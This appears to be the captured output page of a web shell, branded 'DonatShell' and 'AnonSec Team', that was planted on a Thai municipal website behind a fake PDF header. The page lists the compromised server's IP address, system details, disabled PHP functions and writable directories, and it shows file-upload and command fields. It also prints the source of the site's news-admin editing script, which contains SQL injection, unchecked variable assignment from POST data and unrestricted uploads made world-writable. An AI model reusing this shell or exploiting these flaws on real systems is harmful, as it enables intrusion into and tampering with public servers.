%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/news/edit_detail_old.php
<?php

if (isset( $_FILES ))  {
$HTTP_POST_FILES = $_FILES; 
}



session_start();
if($_SESSION[user]==""){
session_destroy();
$message = "س Login ͹.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
 }
require_once('../admin/Connections/conndb.php');

if(isset($_GET[id])){
	$id=$_GET[id];
}
else{
	$id=$_POST[id];
}
$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "updatenews")) {
	 foreach($_POST as $key => $value){
			$$key=$value;
	}
$dPath = "doc_download/";	
$cPath = "photo/";	
$d_date=$years."-".$month."-".$dated;

		if(trim($_FILES["ufile"]["tmp_name"]) != "")
	{
		
	/****************Ҿ˭*********************/
			if($HTTP_POST_FILES["ufile"]["type"]=="image/gif"){ $ftype="gif"; }
			if($HTTP_POST_FILES["ufile"]["type"]=="image/pjpeg" || $HTTP_POST_FILES["ufile"]["type"]=="image/jpeg" ){ $ftype="jpg"; }		
			
			$images = $_FILES["ufile"]["tmp_name"];

			$sur = strrchr($_FILES['ufile']['name'], "."); //Ѵʡ
			$pic = "std".(Date("dmy_His").$sur);

	       $width=700; //*** Fix Width & Heigh (Autu caculate) ***//
            $size=GetimageSize($images);
            $height=round($width*$size[1]/$size[0]);

			if($ftype=="jpg"){
				$images_orig = ImageCreateFromJPEG($images);
			}elseif($ftype=="gif"){
				$images_orig = ImageCreateFromGIF($images);}

            $photoX = ImagesX($images_orig);
            $photoY = ImagesY($images_orig);
           $images_fin = ImageCreateTrueColor($width, $height);

            ImageCopyResampled($images_fin, $images_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
			if($ftype=="jpg"){
				ImageJPEG($images_fin,$cPath.$pic);}
			elseif($ftype=="gif"){
				ImageGIF($images_fin,$cPath.$pic);}
            ImageDestroy($images_orig);
            ImageDestroy($images_fin);
			/*
 			if(move_uploaded_file($_FILES["file_d"]["tmp_name"], "photo/".$pic)){
			}
			*/
	} // if u_file
	else{
		$pic=$_POST['pic2'];
	}
		if($_FILES['file_d']['name']<>"")
			{
		$sur1 = strrchr($_FILES['file_d']['name'], "."); //Ѵʡ
		$filename = "a_".$i.(Date("dmy_His").$sur1);
		$path = $dPath.$filename;
		if(is_uploaded_file($_FILES['file_d']['tmp_name']))
		{
			if(move_uploaded_file($_FILES["file_d"]["tmp_name"], $path))
			{
				chmod(($path), 0777);

				//$updateSQL = "UPDATE news_detail SET cat_id='$cat_id',name='$name',detail='$storytext',filename='$filename', d_date='$d_date'  WHERE id='$id'";
			
				//$Result1 = mysql_query($updateSQL, $conndb) or die(mysql_error());
				if($file_2<>""){
				$QFile=$file_2;
				$fileQFile="doc_download/$QFile";
			
				if(file_exists("$fileQFile")) unlink("$fileQFile");
				}  // if $file_2		
			} // if copy
		} // if is_uploaded_file
	} // if have file
    else{
		$filename=$_POST[file2];
	}
		$updateSQL = "UPDATE news_detail SET cat_id='$cat_id',name='$name',detail='$storytext',pic='$pic',filename='$filename', d_date='$d_date' WHERE id='$id' ";
		$Result1 = mysql_query($updateSQL, $conndb) or die(mysql_error());
		//echo '<br> update = '.$updateSQL;
		/*** start more file ***/
		 if($id!=""){
		   $del=$_POST[del];
		 	for($k=0;$k<=count($del);$k++){
				if($del[$k]!=""){
							$sqlp="select  path from news_detail_file where id_file=".$del[$k];
							$resp=mysql_query($sqlp,$conndb) or die(mysql_error());
							$datp=mysql_fetch_array($resp);
							if(file_exists("doc_download/".$datp[path])){
								unlink("doc_download/".$datp[path]);
							}
							$delete="delete from news_detail_file  where id_file=".$del[$k];
							//echo '<br> del = '.$delete;
							mysql_query($delete,$conndb) or die(mysql_error());
				}
			}
				for($i=0;$i<count($_FILES["files"]["name"]);$i++)
					{
						if($_FILES["files"]["name"][$i] != "")
						{
							$name=date("YmdHis")."_".$_FILES["files"]["name"][$i];
							if(move_uploaded_file($_FILES["files"]["tmp_name"][$i],"doc_download/".$name))
							{
									chmod(("doc_download/".$name), 0777);
								    echo "Copy/Upload Complete<br>";
								   $sql_file="INSERT INTO news_detail_file (id,path,created) VALUES ('".$id."','".$name."','".time()."')";
								   //echo '<br> sql_file = '.$sql_file;
								   mysql_query($sql_file,$conndb) or die(mysql_error());
							}
						}
						else{
							//echo '<br> Not upload new file ';
						}
					}
		}
	if($Result1<>"")
		{		
	?>
			<SCRIPT LANGUAGE="JavaScript">
				alert("䢢º !!.");
				//	 history.back(); 
			</script>
	<?							
				echo "<meta http-equiv='refresh' content='0;URL=admin.php?cat_id=".$cat_id."'>";
		}

}

$colname_rsShownews = "-1";
if (isset($_GET['id'])) {
  $colname_rsShownews = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
}
mysql_select_db($database_conndb, $conndb);
$query_rsShownews = sprintf("SELECT * FROM news_detail WHERE id = %s", $colname_rsShownews);
$rsShownews = mysql_query($query_rsShownews, $conndb) or die(mysql_error());
$row_rsShownews = mysql_fetch_assoc($rsShownews);
$totalRows_rsShownews = mysql_num_rows($rsShownews);

$query_rsNews = "SELECT * FROM news_category ORDER BY cat_id";
$rsNews = mysql_query($query_rsNews, $conndb) or die(mysql_error());
$row_rsNews = mysql_fetch_assoc($rsNews);		
$cat_id=$row_rsShownews["cat_id"];
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ  99/9  1 Ӻ 觢ҹ  ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #3CFFFF;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
 <!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons' 
async='async"  type='text/javascript'> -->
   </script>
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>

<body  background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">




<!-- content -->
<div align="center">
  <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td align="center" valign="top"><tr>
        <td height="" align="center" valign="top"><iframe src="/head-slider.html" width="100%" height="627" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
      </td>
    </tr>
    <tr>
      <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->

<table width="99%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td class="title2"><div align="center" class="head">
      <? 
					if ($cat_id!=""){
							$query_CatS = "SELECT * FROM news_category where cat_id =$cat_id";
							$CatS = mysql_query($query_CatS, $conndb) or die(mysql_error());
							$row_CatS = mysql_fetch_assoc($CatS);
							echo $row_CatS['cat_name']; 
					}else{
							echo "Ţ";
					}
				?>
    </div></td>
    </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td class="styles1"><div align="right">
      <div align="right"><a href="../admin/main.php" class="styles2">˹ Admin </a>| <a href="admin.php?cat_id=<? echo $cat_id; ?>" class="styles2">
        <? 		echo $row_CatS['cat_name']; ?>
      </a> | <a href="add_category.php" class="styles2">Ǵ </a> | <a href="add_detail.php?cat_id=<? echo $cat_id; ?>" class="styles2"></a> <a href="add_detail.php" class="styles2"></a> | 䢢 | <a href="../admin/signout.php" class="styles2">͡ҡк </a></div>
    </div></td>
    </tr>
  <tr>
    <td colspan="3" align="center" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3" align="center" valign="top">
    <script type="text/javascript" src="../admin/fckeditor.js"></script>
	<script type="text/javascript">

window.onload = function()
{
	// Automatically calculates the editor base path based on the _samples directory.
	// This is usefull only for these samples. A real application should use something like this:
	// oFCKeditor.BasePath = '/fckeditor/' ;	// '/fckeditor/' is the default value.
	var sBasePath = document.location.href.substring(0,document.location.href.lastIndexOf('../admin/')) ;

	var oFCKeditor = new FCKeditor( 'storytext' ) ;
	oFCKeditor.BasePath	= '../admin/' ;
	oFCKeditor.Width='600';
	oFCKeditor.Height='350';
	oFCKeditor.ReplaceTextarea() ;
}
	</script>
      <form action="<?php echo $editFormAction; ?>" method="POST" name="updatenews" enctype="multipart/form-data">
    <table width="750" border="0" cellpadding="2" cellspacing="1" class="box-center">
    
        <tr align="center">
          <td height="25" colspan="2" background="../images/bg4.gif" class="styles">䢢</td>
        </tr>
        <tr>
          <td width="121" align="right" class="styles1"><div align="right">Ǣ: </div></td>
          <td width="616" align="left" class="red"><input name="name" type="text" class="styles4" id="name" value="<?php echo $row_rsShownews['name']; ?>" size="70" />
            **</td>
        </tr>
        <tr>
          <td width="121" align="right" valign="top" class="styles1">Ǵ : </td>
          <td width="616" align="left" class="red"><div align="left">
            <select name="cat_id" id="cat_id">
              <option value="" class="styles4"> ---- س͡Ǵ --- </option>
              <?php 
    				do {	?>
              <option value="<? echo $row_rsNews['cat_id']; ?>" <? if($cat_id==$row_rsNews['cat_id']) echo "selected"?> class="styles4"><? echo $row_rsNews['cat_name']; ?></option>
              <?	
						}while($row_rsNews = mysql_fetch_assoc($rsNews));
				?>
            </select>
          </div></td>
        </tr>
        <tr>
          <td width="121" align="right" valign="top" class="styles1"><div align="right">´  </div></td>
          <td width="616" align="left" class="red"><div align="left">
           
          </div></td>
        </tr>
        <tr>
          <td colspan="2" align="center" class="styles1"><textarea name="storytext"><?php echo stripslashes($row_rsShownews['detail']);?></textarea></td>
          </tr>
        <tr>
          <td width="121" align="right" class="styles1"  valign="top"><div align="right">ҾСͺ  : </div></td>
          <td width="616" align="left" class="styles1">
          <a href="photo/<?php echo stripslashes($row_rsShownews['pic']);?>" target="_blank"><?php echo stripslashes($row_rsShownews['pic']);?></a><br>
          <input name="ufile" type="file" class="styles4" id="ufile" size="45" />
          <input  type="hidden" name="pic2" value="<?php echo stripslashes($row_rsShownews['pic']);?>" />
            ҴԹ 8 MB </td>
        </tr>
        <tr>
          <td align="right" class="styles1"  valign="top"><div align="right">͡ûСͺ  : </div></td>
          <td align="left" class="styles1">
          <a href="doc_download/<?php echo $row_rsShownews['filename'];?>" target="_blank"><?php echo $row_rsShownews['filename'];?></a><br>
          <input type="hidden" name="file2" value="<?php echo $row_rsShownews['filename'];?>" />
          <input name="file_d" type="file" class="styles4" id="file_d" size="45" />
            ҴԹ 8 MB </td>
        </tr>
  <?php
	    $get_f="SELECT * FROM news_detail_file WHERE id=".$id;
		$res_f=mysql_query($get_f,$conndb) or die(mysql_error());
		$g=1;
		while($f=mysql_fetch_object($res_f)){
	  ?>
	  <tr class="box1">
	    <td align="right" valign="top" class="styles1"   >͡ûСͺ :</td>
	    <td class="red">
        <a href="doc_download/<?php echo $f->path;?>" target="_blank"><?php echo $f->path;?></a>
        <input type="checkbox" name="del[<?php echo $g;?>]"  value="<?php echo $f->id_file;?>"> ź <br>
        <input type="hidden" name="pb[<?php echo $g;?>]" value="<?php echo $f->path;?>">
        <input name="files[]" type="file" class="styles1" id="file2" size="40" /> </td>
	    </tr>
       <?php
	   		$g++;
		}
		if($g<4){
			for($j=$g;$j<=4;$j++){
	   ?>
       <tr>
        <td width="139" height="30" align="right" class="styles1">͡ûСͺ : </td>
        <td width="609" height="30" align="left" class="red"><input name="files[]" type="file" class="styles1" id="file" size="40" /></td>
	  </tr>
       <?php
			}
       }
       ?>
       <tr>
	    <td class="styles1" ><div align="right">ѹ ͹  С : </div></td>
	    <td bgcolor="#FFFFFF"><div align="left"><? $w=explode("-",$row_rsShownews['d_date']); ?>
				  <select name="dated">
				  <option value="0">ѹ</option>
				  <?
				  		for($i=1;$i<32;$i++){
					?>
					<option value="<?=$i;?>" <? if($w[2]==$i) echo "selected"; ?>><?=$i;?></option>
					<? 
						}
				  ?>
                  </select>
                    <select name="month">
					<option value="0">͹</option>
					<option value="1" <? if($w[1]==1) echo "selected"; ?>>Ҥ</option>
					<option value="2" <? if($w[1]==2) echo "selected"; ?>>Ҿѹ</option>
					<option value="3" <? if($w[1]==3) echo "selected"; ?>>չҤ</option>
					<option value="4" <? if($w[1]==4) echo "selected"; ?>>¹</option>
					<option value="5" <? if($w[1]==5) echo "selected"; ?>>Ҥ</option>
					<option value="6" <? if($w[1]==6) echo "selected"; ?>>Զع¹</option>
					<option value="7" <? if($w[1]==7) echo "selected"; ?>>áҤ</option>
					<option value="8" <? if($w[1]==8) echo "selected"; ?>>ԧҤ</option>
					<option value="9" <? if($w[1]==9) echo "selected"; ?>>ѹ¹</option>
					<option value="10" <? if($w[1]==10) echo "selected"; ?>>Ҥ</option>
					<option value="11" <? if($w[1]==11) echo "selected"; ?>>Ȩԡ¹</option>
					<option value="12" <? if($w[1]==12) echo "selected"; ?>>ѹҤ</option>
                    </select>
                    <select name="years">
					<option value="0"></option>
					<?
						$start_y=(date("Y")-7); 
						$end_y=(date("Y")+3);
		
						for($y=$start_y;$y<$end_y;$y++){
					?>
					<option value="<?=$y;?>" <? if($w[0]==$y) echo "selected"; ?>><?=$y+543;?></option>
					<?
					}
					?>
                    </select>
              </div></td>
	  </tr>
        <tr>
          <td colspan="2" align="right" class="red"><div align="center"></div></td>
        </tr>
        <tr>
          <td height="25" colspan="2" align="right"><div align="center">
              <input name="okbutton" type="submit" class="btn" value=""/>
              <input name="file_1" type="hidden"  value="<?php echo $row_rsShownews['pic']; ?>" />
              <input name="id" type="hidden" id="id" value="<?php echo $row_rsShownews['id']; ?>" />
              <input type="hidden" name="MM_update" value="updatenews">
          </div></td>
        </tr>
      
    </table>
    </form>
    </td> 
  </tr>
  <tr>
    <td height="30" colspan="3">&nbsp;</td>
  </tr>
</table>




	  <!-- InstanceEndEditable --></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>








<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>
	<?
	if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
	 ?>

Anon7 - 2022
AnonSec Team